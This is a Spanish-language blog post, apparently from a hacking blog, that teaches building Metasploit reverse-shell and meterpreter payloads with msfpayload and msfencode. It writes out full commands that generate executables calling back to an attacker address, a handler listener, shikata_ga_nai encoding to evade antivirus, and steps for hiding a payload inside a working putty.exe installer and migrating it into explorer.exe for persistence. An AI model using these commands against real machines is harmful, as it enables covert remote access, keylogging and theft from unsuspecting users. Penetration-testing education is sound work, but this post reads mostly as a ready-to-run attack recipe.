Inicio > Hacking, MetaSploit > Payloads MetaSploit Framework

Payloads MetaSploit Framework


Es posible generar ficheros con diferentes tipos de extensiones (como ejecutables en windows, código en C/C++ o Ruby) para establecer procesos que posteriormente nos permitirán acceder a la consola del sistema remoto, para esto normalmente hacemos uso de la utilidad de msfpayload de metasploit, con este comando podemos establecer el puente reverso hacia nuestra maquina, de este modo cuando dicho payload se ejecute en la maquina remota se abrirá una sesión con acceso a la consola de dicha maquina. Para esto se puede hacer uso de alguno de los exploits definidos en metasploit, a continuación se procede a explicar unos de los mas populares en windows:

windows/shell_reverse_tcp

windows/shell/reverse_tcp

windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

Cada uno tiene sus propias ventajas y desventajas, el primero de ellos permite crear un túnel reverso hacia la maquina del atacante desde la maquina objetivo, sin embargo para su generación usa determinadas firmas que son fáciles de detectar por algunos antivirus como AVG o Norton, por lo tanto en entornos con un nivel de seguridad medio es poco útil, el segundo tiene las mismas características del primero con la ventaja de que es mucho mas difícil de reconocer para algunos antivirus lo que nos permite realizar una explotación mucho mas limpia en un entorno real, (partiendo de la base que la mayoría de los clientes en windows tienen alguna clase de antivirus o firewall instalado que les protege de amenazas como está). El tercero y cuarto permite generar un túnel inverso hacia la máquina del atacante desde la máquina del objetivo, sin embargo a diferencia de los dos anteriores, este no retorna una consola Windows, en su lugar retorna una consola meterpreter que permite ejecutar comandos en la maquina remota y adicional a esto, habilita algunas extensiones que tienen funcionalidades adicionales tales como escalar privilegios, ejecutar un proceso de keylogger, tomar instantáneas del escritorio, usar incognito, sniffer, espia, priv, etc. (Todas estas características se documentarán en este blog en una próxima entrada).

El uso básico de msfpayload para generar un fichero ejecutable es el siguiente:

./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.33 LPORT=4444 X > /tmp/exploit.exe

Con esto se generará el fichero ejecutable en la ruta especificada, posteriormente solamente basta con ejecutar un listener por medio de metasploit que se encuentre a la espera de que el cliente ejecute el fichero malicioso, una vez ejecutado se abrirá una nueva sesión en la máquina del atacante, para iniciar el listener se ejecuta lo siguiente:

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.33

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.33:4444

[*] Starting the payload handler…

[*] Sending stage (749056 bytes) to 192.168.1.34

Con esto basta, solamente queda esperar a que el cliente ejecute el código malicioso.

Ahora bien, en un escenario un poco más adaptado a la realidad, tal como se ha comentado anteriormente, un objetivo probablemente tendrá un antivirus y/o firewall instalado en su máquina, lo que dificultará la correcta entrega del fichero malicioso al cliente para evadir las restricciones del antivirus instalado en el objetivo, tenemos algunas alternativas usando msfpayload y msfconsole. Cabe anotar que existen otros mecanismos que permiten que un payload sea más difícil de detectar por un antivirus, como por ejemplo usar una plantilla de código y modificar el programa de forma que el shellcode ejecutado pase desapercibido, sin embargo esta técnica será objeto de estudio en una próxima entrada de esté blog.

  1. uso de windows/shell/reverse_tcp: En muchos casos, si lo que necesita un atacante es una consola windows y nada más para este fin se usa este payload, ya que la mayoría de los antivirus no lo detectan, pero cual es la razón? la respuesta esta en la forma en la que esta codificado, el funcionamiento de muchos antivirus se basa en el cumplimiento de unos patrones determinados en sus bases de datos internas que determinan si el contenido de un fichero es fiable o no, cuando usamos este payload, muchos de los patrones buscados por algunos de los antivirus del mercado no detectan amenaza alguna en el fichero ejecutable ya que cumplen los patrones esperados, por este motivo no lo considera como una amenaza y permite al usuario descargarlo y ejecutarlo sin problemas, sin embargo, esto no siempre funciona, es en estos casos cuando un atacante debe unir la generación del payload con la herramienta msfencode para que el fichero resultante sea codificado y pueda pasar sin ser detectado por el antivirus. Este payload solamente es valido cuando necesitamos una “raw” windows console, sin embargo en muchas ocasiones es mucho mas interesante obtener una consola meterpreter debido las posibilidades que este nos ofrece para cargar diferentes extensiones, sin embargo el payload de meterpreter es frecuentemente fácil de detectar, por este motivo resulta una buena practica usar msfencode.
  2. Uso de msfencode: Permite codificar o regenerar la estructura del shellcode del fichero malicioso, es usualmente empleado con la compañía de msfpayload, un ejemplo de estas herramientas utilizadas juntas es:

    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 4 -t exe -o /tmp/ficheroMalicioso.exe

    De esta forma una vez generado el payload con los parámetros establecidos, redirigimos la salida al comando msfencode que nos proporcionará un fichero un poco mas “dificil de detectar”, sin embargo en algunos casos aun es posible que sea detectado. La opción -c indica el numero de repeticiones que el fichero será codificado o cifrado, aunque algunos podrían pensar que entre mayor sea el numero de repeticiones, menores serán las probabilidades de detección del fichero malicioso, esto no es del todo cierto ya que en algunas ocasiones, un fichero codificado con un número menor, no es detectado por el antivirus de la maquina objetivo, mientras que el mismo fichero con un número mayor es detectado en la misma maquina objetivo.

  3. uso de msfenconde partiendo de la base de un fichero “confiable”:
    Esta alternativa resulta ser una de las mas útiles a la hora de generar un fichero ejecutable con menor probabilidad de ser detectado, parte de la codificación de un fichero “confiable”, es decir, un instalador que de antemano sabemos que no es malicioso, como por ejemplo el instalador de internet explorer 6 (bien, ya lo sé no es un buen ejemplo, pero se capta la idea, no?), este fichero es codificado y la salida tendrá la información del payload pero en el “emboltorio” del fichero “fiable”, por ejemplo, si el atacante tuviera el instalador de putty, podríamos hacer esto:

    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R | msfencode -c 4 -t exe -x putty.exe -o puttyXXX.exe

    En este caso el fichero de salida llamado puttyXXX.exe será el que se distribuya al cliente, de esta forma, existen mayores probabilidades de que el antivirus de la maquina objetivo no detecte el código malicioso que hay allí infiltrado. Aunque con este mecanismo se envía un fichero que contiene la conexión, este por si mismo no realizara ninguna acción, solamente se ejecutara en el cliente y no hará “lo que se supone que debía hacer” por lo tanto, el usuario podría sospechar sobre el fichero que ha ejecutado, o en cualquier caso pensará que algo no ha funcionado como debería, otra alternativa para que dicho ejecutable “haga lo que tiene que hacer”, por ejemplo en el caso de Putty abrir la interface para realizar una conexión remota, es necesario modificar un poco el comando anterior y establecer el siguiente:

    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=31337 R | msfencode -t exe -o puttyGood.exe -k -x putty.exe -e x86/shikata_ga_nai -c 5

    De esta forma cuando el usuario ejecute el fichero “puttyGood.exe” en su maquina se ejecutará “putty” y a su vez abrirá una consola meterpreter (o consola windows dependiendo del payload) en la maquina del atacante, sin embargo, dado que el backdoor no se encuentra ejecutándose como un servicio (tal como era el caso anterior) una vez el usuario decida cerrar el programa “puttyGood.exe” tambien se perderá la conexión meterpreter establecida, así que si el atacante hacé uso de este mecanismo, tiene que ser rápido en garantizar el acceso, para esto el primer paso que realizará el atacante será usar el comando migrate de meterpreter que le permitirá migrar el proceso del backdoor actual a un proceso existente, de esta forma cuando se cierre el programa “puttyGood.exe” no se perderá la backdoor a menos que se finalice el proceso al que se ha migrado, por este motivo es usual que el atacante intente migrar el proceso del backdoor a un proceso del sistema operativo persistente, tal como el explorer.exe

OPCIONES DE MSFPAYLOAD Y MSFENCODE PARA GENERACION DE PAYLOADS

Msfpayload es un comando muy versátil que permite la generación de múltiples tipos de payloads (no solamente ficheros ejecutables) a saber, permite la generación de payloads con formato javascript, VBA, Perl, Ruby, ddl, exe, war, etc.

La sintaxis del comando es la siguiente:

msfpayload | less

Usage: /usr/local/bin/msfpayload [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[D]ll|[V]BA|[W]ar>

Podemos usar la opción “S” para conocer los parámetros que espera un payload especificado, por ejemplo:

root@adastra-VPCEB3C5E:/opt/metasploit3/msf3# msfpayload windows/meterpreter/reverse_tcp S

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Module: payload/windows/meterpreter/reverse_tcp

Version: 10394, 8998, 8984

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 290

Rank: Normal

Provided by:

skape

sf

hdm

Basic options:

Name Current Setting Required Description

—- ————— ——– ———–

EXITFUNC process yes Exit technique: seh, thread, none, process

LHOST yes The listen address

LPORT 4444 yes The listen port

Description:

Connect back to the attacker, Inject the meterpreter server DLL via

the Reflective Dll Injection payload (staged)

Por otro lado se utiliza msfencode para ocultar el payload de posibles inspecciones por parte de un sistema antivirus instalado en la maquina objetivo, por este motivo es frecuente el uso de msfpayload junto con msfencode por medio de tuberías.

Las opciones disponibles en msfencode son:

root@adastra-VPCEB3C5E:/opt/metasploit3/msf3# msfencode -h

Usage: /usr/local/bin/msfencode

OPTIONS:

-a The architecture to encode as

-b The list of characters to avoid: ‘\x00\xff’

-c The number of times to encode the data

-d Specify the directory in which to look for EXE templates

-e The encoder to use

-h Help banner

-i Encode the contents of the supplied file path

-k Keep template working; run payload in new thread (use with -x)

-l List available encoders

-m Specifies an additional module search path

-n Dump encoder information

-o The output file

-p The platform to encode for

-s The maximum size of the encoded data

-t The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war

-v Increase verbosity

-x Specify an alternate executable template

La opción -c es interesante debido a que es el numero de veces que el payload va a ser codificado, la opción -e permite indicar un encoder que ejecute la codificación del payload, para ver que encoders se encuentran disponibles en metasploit, simplemente basta con ejecutar el comando show encoders desde la consola de metasploit (msfconsole), la opción -o  permite indicar un directorio de salida para el payload generado, la opción -t permite controlar el formato de salida que generara el encoder y la opción -x permite indicar una plantilla de ejecutable alternativa, por otro lado si se utiliza una plantilla de ejecución usando la opción -x, como se trata de un ejecutable que el usuario espera que realice alguna actividad, es aconsejable permitir que el programa haga lo que se supone que debería hacer, para esto se utiliza de la opción -k

  1. Aún no hay comentarios.
  1. No trackbacks yet.
Disculpa, debes iniciar sesión para escribir un comentario.
Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 772 seguidores

%d personas les gusta esto: